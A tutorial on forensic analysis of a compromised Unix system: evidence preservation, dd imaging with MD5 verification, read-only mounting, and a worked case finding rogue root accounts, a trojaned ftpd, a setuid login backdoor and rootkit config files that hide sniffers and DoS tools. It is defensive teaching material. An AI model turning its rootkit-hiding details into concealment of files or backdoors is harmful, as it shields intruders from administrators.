Basic Steps in Forensic Analysis of Unix Systems
Introduction
The preface to "Techniques of Crime Scene Investigation"
begins:
One especially important element to crime solving is the
effective use of science and technology. Science and technology applied to the
solution of criminal acts, or forensic science, solves crimes by assisting
police investigators to identify suspects and victims, clearing innocent
persons of suspicion and ultimately bringing the wrongdoer to justice.
The science is methodical, premeditated actions to
gather and analyze evidence. The technology, in the case of computers, are
programs that suite particular roles in the gathering and analysis of evidence.
The crime scene is the computer and the network (and other network devices) to
which it is connected.
Your job, as a forensic investigator, is to do your best to comb through the
sources of evidence -- disc drives, log files, boxes of removable media,
whatever -- and do two things: make sure you preserve as much of this data in
its original form, and to try to re-construct the events that occurred
during a criminal act and produce a meaningful starting point for police and
prosecutors to do their jobs.
Every incident will be different. In one case, you may simply assist in the
seizure of a computer system, which is analyzed by law enforcement agencies. In
another case, you may need to collect logs, file systems, and first hand reports
of observed activity from dozens of systems in your organization, wade through
all of this mountain of data, and reconstruct a timeline of events that yields a
picture of a very large incident.
In addition, when you begin an incident investigation, you have no idea what
you will find, or where. You may at first see nothing (especially if a "rootkit"
is in place.) You may find a process running with open network sockets that
doesn't show up on a similar system. You may find a partition showing 100%
utilization, but adding things up with du only comes to 50%. You may
find network saturation, originating from a single host (by way of tracing its
ethernet address or packet counts on its switch port), a program eating up 100%
of the CPU, but nothing in the file system with that name.
The steps taken in each of these instances may be entirely different, and a
competent investigator will use experience and hunches about what to look for,
and how, in order to get to the bottom of what is going on. They may not
necessarily be followed 1, 2, 3. They may be way more than is necessary. They
may just be the beginning of a detailed analysis that involves De-compilation of
recovered programs and correlation of packet dumps from multiple networks.
Instead of being a "cookbook" that you follow, consider this a collection of
techniques that a chef uses to construct a fabulous and unique gourmet meal.
Once learned, you'll discover there are plenty more steps than just those listed
here.
Its also important to remember that the steps in preserving and collecting
evidence should be done slowly, carefully, methodically, and deliberately. The
various pieces of data -- the evidence -- on the system are what will tell the
story of what occurred. The first person to respond has the responsibility of
ensuring that as little of this evidence as possible is damaged, thereby making
it useless in contributing to a meaningful reconstruction of what occurred.
One thing is common to every investigation, and it cannot be stressed enough.
Keep a regular old notebook handy and take careful notes of what you do
during your investigation. These may be necessary to refresh your memory
months later, to tell the same long story to a new law enforcement agent who
takes over the case, or to refresh your own memory when/if it comes time to
testify in court. It will also help you accurately calculate the cost of
responding to the incident, avoiding the potentially exaggerated estimates that
have been seen in some recent computer crime cases. Crimes deserve justice, but
justice should be fair and reasonable.
As for the technology aspect, the description of basic forensic analysis
steps provided here assumes Red Hat Linux on i386 (any Intel compatible
motherboard) hardware. The steps are basically the same with other versions of
Unix, but certain things specific to i386 systems (e.g., use of IDE controllers,
limitations of the PC BIOS, etc.) will vary from other Unix workstations.
Consult system administration or security manuals specific to your version of
Unix.
It is helpful to set up a dedicated analysis system on which to do your
analysis. An example analysis system in a forensic lab might be set up as
follows:
- Fast i386 compatible motherboard with 2 IDE controllers
- At least two large (>8GB) hard drives on the primary IDE controller (to
fit the OS and tools, plus have room to copy partitions off tape or recover
deleted file space from victim drives)
- Leave second IDE cable empty. This means you won't need to mess with
jumpers on discs -- just plug them in and they will show up as
/dev/hdc (master) or /dev/hdd (slave)
- SCSI interface card (e.g., Adaptec 1542)
- DDS-3 or DDS-4 4mm tape drive (you need enough capacity to handle the
largest partitions you will be backing up)
- If this system is on the network, it should be FULLY PATCHED and
have NO NETWORK SERVICES RUNNING except SSH (for file transfer and
secure remote access) -- Red Hat Linux 6.2 with Bastille-Linux hardening is a
good choice
(It can be argued that no services should be running,
not even SSH, on your analysis systems. You can use netcat to pipe data
into the system, encrypting it with DES or Blowfish stream cyphers for security.
This is fine, provided you do not need remote access to the system.)
Another handy analysis system is a new laptop. An excellent way of taking the
lab to the victim, a fast laptop with 10/100 combo ethernet card, an 18+GB hard
drive, and a backpack with padded case, allows you to easily carry everything
you need to obtain file system images (later written to tape for long-term
storage), analyze them, display the results, crack intruder's crypt()
passwords you encounter, etc.
A cross-over 10Base-T cable allows you to get by without a hub or switch, and
to still use the network to communicate with the victim system on an isolated
mini-network of two systems. (You will need to set up static route table entries
in order for this to work.)
A Linux analysis system will work for analyzing file systems from several
different operating systems that have supported file system under Linux, e.g.,
Sun UFS. You simply need to mount the file system with the proper type and
options, e.g. (Sun UFS):
# mount -r -t ufs -o ufstype=sun /dev/hdd2 /mnt
Another benefit to Linux are "loopback" devices, which allow you to
mount a file containing an image copy (obtained with dd) into the
analysis system's file system. See Appendix A for details.
Tactical/Strategic goals
Your main goals as an incident
investigator/coordinator at your site is to identify all the systems under your
authority that are controlled by the intruder, understand the method(s) used to
gain entry, and to then ensure that this knowledge is shared and all the
affected systems are secured.
Possible prosecution is secondary to securing the affected systems, but as
was stated earlier, as a forensic investigator the primary job is to preserve as
much evidence at the crime scene in usable form as possible. This may mean
taking the system out of service when everyone is yelling to get it back online.
If proper forensic data gathering is not addressed during the investigation,
you can destroy any chance of a successful prosecution at a later date and will
have no data on which to calculate a damage estimate. It is best to attempt to
do an efficient, yet thorough, job of data preservation and analysis whenever
possible.
You must learn how to balance these competing goals, and have policies and
procedures in place to allow the process to go smoothly. Assuming that forensic
examination is the top priority, what comes next?
Freezing the scene
As soon as you have evidence that indicates a
compromise of the system, which cannot be refuted by other evidence you have at
hand, you must assume the system has in fact been compromised and begin to
gather evidence before it is destroyed, before logs expire, or before anything
is altered.
There are various types of evidence, with differing levels of volatility, in
places such as processor registers, kernel data structures in memory, swap
space, network data structures and counters, user process memory and stacks,
file system buffer cache, the file system itself, etc. It will be difficult (if
not impossible) to gather all of this information at the precise moment that
intruder activity is occurring, so it will be necessary to forgo certain types
of information in preference to other more easily gathered information that can
yield the same results (determining the method of intrusion, activity of the
intruders, identity and source of the intruders, perhaps enough to locate and
prosecute them...).
The easiest way to stop things from being altered is to shut down and halt
the system.
Normally, Unix systems are shut down with the shutdown command. This
is done to ensure that services are cleanly shut down, any cached file system
buffers are flushed, users are notified, etc. That is fine if the system is
intact, but on a compromised system all bets are off. Intruders have been known
to rig compromised systems to delete some or all files on the system if the
network interface is disabled or a normal shutdown procedure is followed.
To prevent such unwanted modification of the file system, it is often best to
simply yank the power cord. Be aware, however, that doing this risks
losing any cached data that has not yet been written to disc, network state,
running process memory, access to kernel memory, contents of swap space, etc.
This is a judgment call that you must carefully consider and make
yourself.
If you do wish to gather what evidence you can from the system before
powering it off, it helps to quickly run several common tools and capture
everything by doing this in a script session (see man script).
Commonly used tools/tactics would be:
- last, w, who
Get listings of logged in
users, prior logins, etc.
- ls
Get long (ls -lat) listing of files in places like
suspect home directories, /dev directory, root directory, etc.
- ps
Get a long listing of all processes, including those
without ttys (e.g., ps auxwww and ps elfwww on Linux -- add
more w flags if the listing is truncated)
- lsof
Get a full listing of all open file handles, which can
show some backdoors, sniffers, eggdrop IRC bots, port redirectors like "bnc",
etc. (Make note of cwd, which is the current working directory at the
time the program was run.)
- find
Identify all normal files or directories modified since
the time you suspect the intrusion took place, or owned by an account you
suspect was used, etc. (Note that this alters the i-node "last accessed"
timestamps, so you should *not* use this utility to walk the file system if
you wish to learn which files the intruder may have accessed.
- ltrace, strace, truss (SunOS 5)
See file
accesses to "rootkit" configuration files, e.g. Example of trojaned
/bin/ls
# truss -t open ./ls
open("/dev/zero", O_RDONLY) = 3
open("/usr/lib/libc.so.1", O_RDONLY) = 4
open("/usr/lib/libdl.so.1", O_RDONLY) = 4
open("/usr/platform/SUNW,Sun_4_75/lib/libc_psr.so.1", O_RDONLY) Err#2 ENOENT
---> open("/dev/ptyr", O_RDONLY) Err#2 ENOENT
open(".", O_RDONLY|O_NDELAY) = 3
[list of files]
See also the man pages for each utility to understand how
they work.
Roadblocks to collecting data
Not only might the system be rigged to
self-destruct, but it is increasingly common for several operating system
commands, loadable kernel modules, dynamic link libraries, etc. to be modified
or replaced. These modifications cause the operating system to "lie" to you, so
the system will look as though nothing is wrong at all (while in reality the
system is entirely out of your control, with multiple -- four, five... twelve!
-- different "back doors" to allow the intruders back in.
You can try to get around any "root
kits" that may be in place by using alternate programs, loadable kernel
modules, libraries, etc., but you must really know what you are doing and
what/when you can trust programs to tell you the truth. Always question your
base assumptions about what you are seeing. It is often easier to simply remove
the drive from the compromised system in question and mount it read-only in a
system that has a trusted copy of the operating system (hopefully a similar
release) before you analyze it.
You should also consider using the noexec and nodev options
to prevent accidentally running programs from the partition being analyzed, and
to ignore any device files it may contain. (Spend some time reading the "mount"
man page to learn more.) Thus a typical mount command would look like this:
# mount -o ro,noexec,nodev /dev/hda1 /t
In further examples, these options will not be shown for the sake
of brevity.
Chain of custody - handling evidence
Once the disc has been removed,
however, you should take care to retain a provable chain of custody of the drive
in the event that it (or I should say the evidence recovered from it) is
required for use as evidence in a trial. Failing to do this has resulted
in damage to investigations. You do this by keeping notes of who does what to
the drive and when, by storing it in a secure location (e.g., locked file
cabinet or safe), by making a bit-image copy (not a file system copy), by
analyzing the copy rather than the original, and by using cryptographic
checksums to prove integrity of the original contents.
A bit-image copy is one that gets every single bit of every byte on a device
partition. The Unix utility to do this is dd (see man dd and
the article in the reference section by Thomas Rude). Backup utilities like
tar and cpio are fine for portability of file system across
versions of Unix, and dump and restore are good for restoring
individual files. They certainly have their place, but not when it comes to
forensic analysis and data preservation. These utilities do not help you
preserve slack space at the end of files, nor preserve what was formerly held in
blocks of deleted files. Intruders are known to sometimes hide files in slack
space, and to delete logs as soon as they break in to cover their tracks.
All actions performed during analysis should be logged. It is easy to do this
using the script program, which keeps a log of all shell input/output.
Script notes the beginning/ending time of the log, and use of the date
command at various times during the session will log intermediate times.
Preparation for analysis
Whether you are going to analyze the system
with or without special forensic tools, you must follow the same basic steps in
preparing the file system for analysis.
- In some cases, it is necessary to photograph the computer system in its
installed state before taking it apart and moving it. This may be necessary,
just as photography of a crime scene is necessary in certain cases. In other
cases, simply documenting the system components, their SCSI id values, etc.,
is all that is necessary.
- Start taking detailed notes. Having an incident investigation log book is
helpful, which you initial and date each time you start/stop work. Note as
many pertinent facts as you can as you prepare, gather, and analyze evidence
about the intrusion. This will form the basis of a detailed report you will
produce to summarize the incident and organize the massive amounts of evidence
that usually pile up in even the smallest computer security incident.
- Before shutting down the system, it is helpful to gather some basic
information about the disc that is not likely to be modified by intruders,
such as the file system layout from /etc/fstab, the host name and IP
address from /etc/hosts and and the devices on the system (from
/var/log/dmesg or system log files like /var/log/messages).
These will often fit on a compressed floppy disc tar archive file
without altering the file system in any way. (If you cannot gather this
information now, a way -- a bit harder way -- to obtain it after the fact will
be shown later):
# cd /
# tar -cvzf /dev/fd0 etc/hosts etc/fstab var/log/dmesg var/log/messages
etc/hosts
etc/fstab
var/log/dmesg
var/log/messages
- If at all possible, make a bit image copy of the entire drive and
work with the copy, not the original!. While in a worst-case situation
you may have to analyze the original, doing so runs the risk of you making a
simple mistake and destroying everything. The original should be kept safe --
actually in a safe if you have one -- so you can be sure it is not
altered or destroyed. (This is why MD5 checksums will be created later.)
- Install the disk in your analysis system on an open IDE port and boot the
system. You must be very careful not to damage the disk by
master/slave conflicts on the IDE controller, etc. It is easiest and best to
have this be the only drive connected to the IDE cable on the second IDE
interface (e.g. if you have an IDE CD-ROM on the second interface, take it off
temporarily.)
You may also need to toggle auto-detection of drive type and geometry in
your BIOS settings (make notes so that you know what you did and how to reset
things afterwards.)
- Identify the partitions on the drive using fdisk. Do
not use fdisk in interactive mode and risk modifying the
partition table or disk label. (Note: fdisk is an i386 Linux program,
modeled after the DOS equivalent.):
# fdisk -l /dev/hdd
Disk /dev/hdd: 255 heads, 63 sectors, 1575 cylinders
Units = cylinders of 16065 * 512 bytes
Device Boot Start End Blocks Id System
/dev/hdd1 * 1 869 6980211 b Win95 FAT32
/dev/hdd2 870 1022 1228972+ 83 Linux
/dev/hdd3 1023 1035 104422+ 82 Linux swap
/dev/hdd4 1036 1575 4337550 83 Linux
From this listing, a safe assumption would be that partition
/dev/hdd2 was the root file system, and /dev/hdd4 is something like /usr or
/home. You cannot tell this from the partition table, but you can tell it from
the copy of /etc/fstab you saved before, or by either mounting and looking at
the file systems one by one or by finding the root file system and looking at
the /etc/fstab file.
In this case, we will make a bit-image copy of the partitions first, then
restore these to another drive for examination.
- Generate MD5 checksums of each of the partitions, get an bit-image copy,
and verify the checksums match.
Note: We will assume your tape drive is on device /dev/st0 and the
non-rewind device is /dev/nst0. Also, the default block size, usually
512 bytes, may not be the most efficient blocking factor for your tape drive.
See documentation on your drive to determine the most efficient blocking
factor and use that (often between 8198 to 32767). These examples will simply
use defaults for simplicity.
The command mt is used to skip back one file after writing it to
verify the MD5 checksum. Make sure you use the non-rewind
device name and skip forward/back where appropriate if you are writing
multiple dd image files to tape, otherwise you will over-write one or
all files on tape and lose data. Also make sure you don't make a mistake
with if= and of= options to dd, or you may
destroy data on disc.
(See man mt and man dd, then practice writing/reading
multiple files on tape before you do this with important data.)
# date
Mon Jun 19 12:00:22 PDT 2000
# md5sum /dev/hdd2
7b8af7b2224f0497da808414272e7af4 /dev/hdd2
# mt status
SCSI 2 tape drive:
File number=0, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (41010000):
BOT ONLINE IM_REP_EN
# dd if=/dev/hdd2 of=/dev/nst0
2457944+0 records in
2457944+0 records out
# mt bsf 1
# dd if=/dev/st0 | md5sum
2457944+0 records in
2457944+0 records out
7b8af7b2224f0497da808414272e7af4 -
# mt status
SCSI 2 tape drive:
File number=1, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (81010000):
EOF ONLINE IM_REP_EN
Label the tape with, and/or accompany it with a printout
containing, the victim system name, partition(s) and the corresponding file
number(s)/MD5 checksums on the tape, your initials, and the date.
If the checksums do not match, that means that as little as a single bit of
data has been altered. This can occur when there is a bad block on the
original disc, a bad section of tape, you mistakenly are trying to copy a
"live" file system mounted read/write, or you specified the wrong partition.
Try a different tape. Try regenerating the checksum on the disc partition.
Whatever you do, do not try to reformat or analyze/fix the disc drive,
as this will alter data on the drive. It may be necessary to have the
drive processed by a professional data recovery service that can copy the
contents at the same time as they determine precisely which block(s) are bad.
If it is the tape that is flaky, you may need to obtain another tape drive or
fresh tapes before you go any farther.
- If you are placing more than one partition on the tape, make sure
you use the non-rewind device for writing each partition, then use
mt rewind (or just unload the tape, which will rewind it). You should
then set the write-protect tab to ensure you do not accidentally erase or
overwrite the tape. When you reload the tape, check to make sure it is
write-protected using the mt command:
[The following shows write-protect tab enabled, and positioned at the
"beginning of tape" (BOT) and first file mark (#0) on the tape.]
# mt status
SCSI 2 tape drive:
File number=0, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (45010000):
BOT WR_PROT ONLINE IM_REP_EN
[The following shows that the write-protect tab is not enabled,
and that end of file mark #1 (the end of the second file on tape) is also at
the end of the media (the I/O error when trying to skip forward and "EOF EOD"
in the status.]
# mt fsf 1
/dev/tape: Input/output error
# mt status
SCSI 2 tape drive:
File number=1, block number=0, partition=0.
Tape block size 512 bytes. Density code 0x13 (DDS (61000 bpi)).
Soft error count since last status=0
General status bits on (89010000):
EOF EOD ONLINE IM_REP_EN
- Mount what you think is the root file system, but do not modify it
in any way. To do this, mount the file system read-only with the "-r"
(or "-o ro") option and then get a long, time-ordered listing of files. (Note
that the file ownerships will come from the analysis system's
/etc/group file, not that of the victim system.)
# mount -r /dev/hdd2 /mnt
# ls -lat /mnt
total 73
drwxr-x--- 17 root root 1024 May 1 09:01 root
drwxrwxrwt 6 root root 1024 May 1 04:03 tmp
drwxr-xr-x 8 root root 34816 Apr 30 04:02 dev
drwxr-xr-x 34 root root 3072 Apr 29 14:17 etc
drwxr-xr-x 2 root root 2048 Apr 26 16:52 bin
drwxr-xr-x 2 root root 1024 Apr 26 11:12 boot
drwxr-xr-x 3 root root 3072 Apr 21 04:01 sbin
drwxr-xr-x 4 root root 3072 Apr 21 03:56 lib
drwxrwxr-x 2 root root 1024 Mar 3 13:27 cdrom
drwxr-xr-x 2 root root 1024 Oct 9 1999 home
drwxr-xr-x 2 root root 12288 Oct 9 1999 lost+found
drwxr-xr-x 4 root root 1024 Oct 9 1998 mnt
drwxr-xr-x 2 root root 1024 Oct 9 1999 proc
drwxr-xr-x 20 root root 1024 Aug 2 1998 usr
drwxr-xr-x 18 root root 1024 Aug 2 1998 var
From this listing, we can tell several things. First, this does
indeed look like the root file system (we see "usr", "var", "proc", "bin",
"root", etc... yes, even "etc" ;) We also see a directory "home" with a link
count of 2 and a directory "usr" with a link count of 20. (Because of the "."
and ".." directory entries, the minimum number of links to a directory is 2,
with one more link for the ".." entry contained in each of its subordinate
directories.)
While it is still not clear what is on /dev/hdd4, it looks most
likely that it contains the contents of /home and not /usr
(or even /var for the same reasons).
Of course we can tell for sure by checking the /etc/fstab file:
# less /mnt/etc/fstab
. . .
/dev/hda1 /dosc msdos defaults 0 0
/dev/hda2 / ext2 defaults 1 1
/dev/hda4 /home ext2 defaults 1 2
/dev/hda3 swap swap defaults 0 0
/dev/cdrom /cdrom iso9660 noauto,user,ro 0 0
/dev/fd0 /floppy ext2 noauto,user,rw 0 0
none /proc proc defaults 0 0
none /dev/pts devpts mode=0622 0 0
[Note that we are using the pager less here. This is to
prevent any potentially embedded non-printable characters from changing
settings in the tty driver, which can render the terminal useless. If you were
using script to log the session, you would have to exit and restart
things, possibly forgetting to use script again and missing some of
what you did.]
Remember that if this was the only IDE drive used on the system, it would
most likely be a master on the first controller, or /dev/hda. That is
why the fstab file lists them as such, and not /dev/hdd as they are
on our analysis system. Thus, in order for us to mount the /home
partition, we need to use /dev/hdd4
# umount /mnt
# mount -r /dev/hdd4 /mnt
# ls -lat /mnt
total 21
drwx------ 47 user1 user1 3072 Apr 28 11:52 user1
drwx------ 10 user3 user3 1024 Dec 3 14:19 user3
drwx------ 4 user2 user2 1024 Oct 14 1999 user2
drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+found
drwxr-xr-x 2 root nobody 1024 Apr 15 1999 samba
drwxr-xr-x 5 root root 1024 Apr 7 1999 httpd
drwxr-xr-x 6 root root 1024 Mar 21 1999 ftp
drwxr-xr-x 30 root root 1024 Aug 2 1998 local
We can now see the contents of the /home partition
(mounted on /mnt instead). We will ignore the contents of the
/home partition for now, since no operating system files are kept
there (you will probably want to analyze this file system for various
backdoors, such as setuid/setgid programs, .rhosts files, commands
added to shell initialization files that might do things like email a copy of
the password file, and so forth before using them again.)
Let's re-mount (read-only, don't forget!) the root file system and begin
checking things out.
# umount /mnt
# mount -r /dev/hdd2 /mnt
First, we check the contents of the /etc/passwd file to
see the accounts and UID/GID mappings. This file should be copied and used
with file system analysis tools, like The Coroner's Toolkit mactime
program, to show correct UID/username mappings.
The password file may also show accounts created by the intruders, as is
the case here:
# less /mnt/etc/passwd
. . .
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
z:x:0:0::/:/bin/bash
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
r00t:x:598:500:::/bin/bash
games:x:12:100:games:/usr/games:
y:x:900:100::/tmp:/bin/bash
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
gdm:x:42:42::/home/gdm:/bin/bash
xfs:x:100:233:X Font Server:/etc/X11/fs:/bin/false
user1:x:500:500:User 1:/home/user1:/bin/tcsh
user2:x:501:501:User 2:/home/user2:/bin/tcsh
user3:x:502:502:User 3:/home/user3:/bin/tcsh
named:x:25:25:Named:/var/named:/bin/false
You can see several accounts that look somewhat (or totally)
illegitimate, such as the out of order higher-numbered user accounts "r00t"
and "y" (which also has a home directory of /tmp), the recently
created (password files usually have accounts added sequentially) order
lower-numbered account "named", and the account "z" with uid=0/gid=0 (same as
root).
Make a note of these accounts so you can come back and follow these leads
in a moment. Also make note of some possible assumptions you can make at this
point, for example:
- Creation of accounts is a very overt action, so this may indicate a low
skill level of the intruder.
- It might indicate the intruders have "cased" the system and know the
administrator pays little attention to it, so they do not fear discovery.
- It could even be a diversion so the system administrator will find them,
remove them, and go on assuming the system is clean, when multiple backdoors
to the root account still exist.
- Since accounts are normally added sequentially to the
/etc/passwd file, someone may have installed a new version of
named recently (was it the owner of the system?)
You should start constructing a timeline that shows when
significant events occurred, and try to trace all actions backwards to a login
session, a service point of entry, and a point of origin. You will then try to
weave these threads backwards and into/out of systems to try to identify the
attacker's true origin and all systems being used by the intruder.
You have now begun the note taking process, preserved and
verified that you have unmodified original copies of the file system, and either
made a copy for analysis (preferable) or are very carefully looking at
the file system in read-only mode (only if you have no other choice.)
From this point, analysis can be done with standard Unix tools and some skill
and/or with special tools designed for forensic data gathering and analysis. We
will look at both ways.
Analysis with standard Unix tools
Assuming that you have clean copies of
standard Unix tools (e.g., by using a special anti-rootkit toolkit or analysis
system), we can continue from where we left off.
When looking at the /etc/passwd file, we noticed some suspicious
accounts. Since one account ("y") uses the home directory /tmp, and
another ("x") uses the root file system, these should be checked.
# ls -lat /mnt/tmp
total 156
drwxrwxrwt 6 root root 1024 May 1 04:03 .
-r--r--r-- 1 root gdm 11 Apr 29 14:17 .X0-lock
drwxrwxrwt 2 root gdm 1024 Apr 29 14:17 .X11-unix
drwxrwxrwt 2 xfs xfs 1024 Apr 29 14:17 .font-unix
drwxr-xr-x 25 y root 1024 Apr 28 23:47 ..
drwx------ 2 user1 user1 1024 Apr 26 17:36 kfm-cache-500
-rw-rw-r-- 1 user1 user1 12288 Apr 26 16:37 psdevtab
drwxrwxrwt 2 root root 1024 Apr 21 11:12 .ICE-unix
-rwx------ 1 root root 138520 Apr 20 20:15 .fileMFpmnk
The oldest file has an unusual (at least not familiar) looking name
and is executable. This warrants closer scrutiny. The easiest is to analyze the
strings embedded in the program (deleted lines shown by ellipses).
# strings - /mnt/tmp/.fileMFpmnk
/lib/ld-linux.so.2
__gmon_start__
libpam.so.0
_DYNAMIC
_GLOBAL_OFFSET_TABLE_
pam_set_item
free
__ctype_tolower
malloc
strcmp
pam_end
pam_start
. . .
File
Compressed
Block
Stream
[nowhere yet]
ftpd
:aAvdlLiop:P:qQr:sSt:T:u:wWX
bad value for -u
option -%c requires an argument
unknown option -%c ignored
. . .
VirtualFTP Connect to: %s [%s]
banner
logfile
email
/var/log/xferlog
connection refused (server shut down) from %s
%s FTP server shut down -- please try again later.
lslong
/bin/ls -la
lsshort
lsplain
/bin/ls
greeting
full
terse
brief
%s FTP server (%s) ready.
%s FTP server ready.
FTP server ready.
. . .
FTP LOGIN REFUSED (already logged in as %s) FROM %s, %s
Already logged in.
/etc/ftphosts
FTP LOGIN REFUSED (name in %s) FROM %s, %s
anonymous
FTP LOGIN REFUSED (anonymous ftp denied on default server) FROM %s, %s
FTP LOGIN REFUSED (ftp in denied-uid) FROM %s, %s
/etc/ftpusers
. . .
These strings shows this appears to be an FTP server, usually named
ftpd or in.ftpd. This may indicate a rootkit, or other form of
trojan horse backdoor, is in place on this system. Configuration files and
intruder files are often placed in the /dev directory, so a quick check
there is also a good idea.
# cd /mnt/dev
# ls -lat | head -30
total 116
drwxr-xr-x 8 root root 34816 Apr 30 04:02 .
srw-rw-rw- 1 root root 0 Apr 30 04:02 log
crw------- 1 root root 4, 1 Apr 29 14:17 tty1
crw------- 1 root root 4, 2 Apr 29 14:17 tty2
crw------- 1 root root 4, 3 Apr 29 14:17 tty3
crw------- 1 root root 4, 4 Apr 29 14:17 tty4
crw------- 1 root root 4, 5 Apr 29 14:17 tty5
crw------- 1 root root 4, 6 Apr 29 14:17 tty6
srwxrwxrwx 1 root root 0 Apr 29 14:17 gpmctl
srw------- 1 root root 0 Apr 29 14:17 printer
crw-r--r-- 1 root root 1, 9 Apr 29 14:17 urandom
prw------- 1 root root 0 Apr 29 14:14 initctl
drwxr-xr-x 25 y root 1024 Apr 28 23:47 ..
crw-rw-rw- 1 root tty 3, 2 Apr 28 11:44 ttyp2
crw-rw-rw- 1 root tty 3, 0 Apr 28 11:43 ttyp0
crw-rw-rw- 1 root tty 3, 1 Apr 28 11:43 ttyp1
-rw-r--r-- 1 root root 18 Apr 27 22:58 ptyp
drwxr-xr-x 4 r00t root 1024 Apr 27 22:58 ...
crw-rw-rw- 1 root tty 3, 4 Apr 27 12:02 ttyp4
crw-rw-rw- 1 root tty 3, 3 Apr 27 11:56 ttyp3
crw------- 1 root root 5, 1 Apr 21 11:09 console
lrwxrwxrwx 1 root root 5 Apr 21 04:02 mouse -> psaux
drwxr-xr-x 2 root root 1024 Apr 20 15:21 rev0
-rw-r--r-- 1 root root 33 Apr 20 15:21 ptyr
lrwxrwxrwx 1 root root 9 Feb 28 02:23 isdnctrl -> isdnctrl0
lrwxrwxrwx 1 root root 5 Feb 28 02:23 nftape -> nrft0
lrwxrwxrwx 1 root root 3 Feb 28 02:23 fb -> fb0
lrwxrwxrwx 1 root root 15 Feb 28 02:23 fd -> ../proc/self/fd
lrwxrwxrwx 1 root root 4 Feb 28 02:23 ftape -> rft0
Broken pipe
Two notable things pop up: Normal files (indicated by "-" in the
first character of a long ls listing) named "ptyp" and "ptyr", a directory named
"rev0", and a hidden directory named "..."). These are highly suspect.
# less ptyr
. . .
sp.pl
slice
ssynk4
rev0
bc1
snif
This rootkit configuration file for a trojan horse version of
ls hides files or directories with names like sp.pl,
slice (a DoS program), ssynk4 (a DoS program), rev0,
bc1, and snif (probably a sniffer).
Since we are looking at things with a clean and trusted operating system, you
can now use find and grep to identify where these files are
located.
# cd /mnt
# find . -ls | grep -f etc/ptyr
282058 1 drwxr-xr-x 2 root root 1024 Apr 20 15:21 ./dev/rev0
282059 1 -rw-r--r-- 1 root root 5 Apr 20 15:21 ./dev/rev0/sniff.pid
282061 20 -rw-r--r-- 1 root root 19654 Apr 20 20:23 ./dev/rev0/tcp.log
164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 ./dev/rev0/slice
164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 ./dev/rev0/smurf4
164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 ./dev/rev0/snif
164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 ./dev/rev0/sp.pl
164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 ./dev/.../blitznet/slice2
61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 ./usr/bin/sliceprint
255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 ./usr/include/python1.5/sliceobject.h
Some of these are obviously (or probably) legitimate system files,
but the others are suspiciously abnormal in two directories in /dev:
# cd /mnt/dev
# less ptyp
. . .
3 egg
3 egg
3 bnc
This is a rootkit configuration file for a trojan horse version of
ps that hides processes containing the strings "egg" or "bnc". Watch
for executables with these names.
# cd /mnt/dev
# ls -lR ...
...:
total 2699
drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet
-rw-r--r-- 1 root root 30720 Apr 26 04:07 blitznet.tar
-rwxrw-r-- 1 r00t user1 22360 Apr 27 22:58 bnc
-rw-r--r-- 1 900 users 2693120 Apr 20 22:18 collision.tar
-rw-rw-r-- 1 r00t user1 976 Apr 27 22:58 example.conf
-rw-rw-r-- 1 user1 user1 5 Apr 28 20:35 pid.bnc
.../blitznet:
total 22
-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README
-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitz.c
-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzd.c
-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rush.tcl
-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2
There was a directory named /dev/rev0 that showed up.
Let's see what it contains.
# ls -lR rev0
rev0:
total 51
-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice
-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4
-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif
-rw-r--r-- 1 root root 5 Apr 20 15:21 sniff.pid
-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sp.pl
-rw-r--r-- 1 root root 19654 Apr 20 20:23 tcp.log
# cd /mnt/usr/bin
# ls -lat | head
total 89379
drwxr-xr-x 6 root root 27648 Apr 21 04:01 .
-rwsr-xr-x 1 root root 20164 Apr 15 19:23 chx
lrwxrwxrwx 1 root root 8 Feb 28 02:28 netscape-navigator -> netscape
drwxrwxr-x 2 news news 1024 Feb 28 02:25 rnews.libexec
drwxrwxr-x 2 news news 1024 Feb 28 02:25 control
drwxrwxr-x 2 news news 1024 Feb 28 02:25 filter
lrwxrwxrwx 1 root root 4 Dec 30 13:06 elatex -> etex
lrwxrwxrwx 1 root root 5 Dec 30 13:06 lambda -> omega
lrwxrwxrwx 1 root root 3 Dec 30 13:06 latex -> tex
Broken pipe
# strings - chx
/lib/ld-linux.so.2
__gmon_start__
libcrypt.so.1
libpam.so.0
. . .
/var/log/btmp
/usr/share/locale
util-linux
fh:p
login: -h for super-user only.
usage: login [-fp] [username]
/dev/tty
%s??
/dev/vcs
/dev/vcsa
login
login: PAM Failure, aborting: %s
Couldn't initialize PAM: %s
FAILED LOGIN %d FROM %s FOR %s, %s
Login incorrect
TOO MANY LOGIN TRIES (%d) FROM %s FOR %s, %s
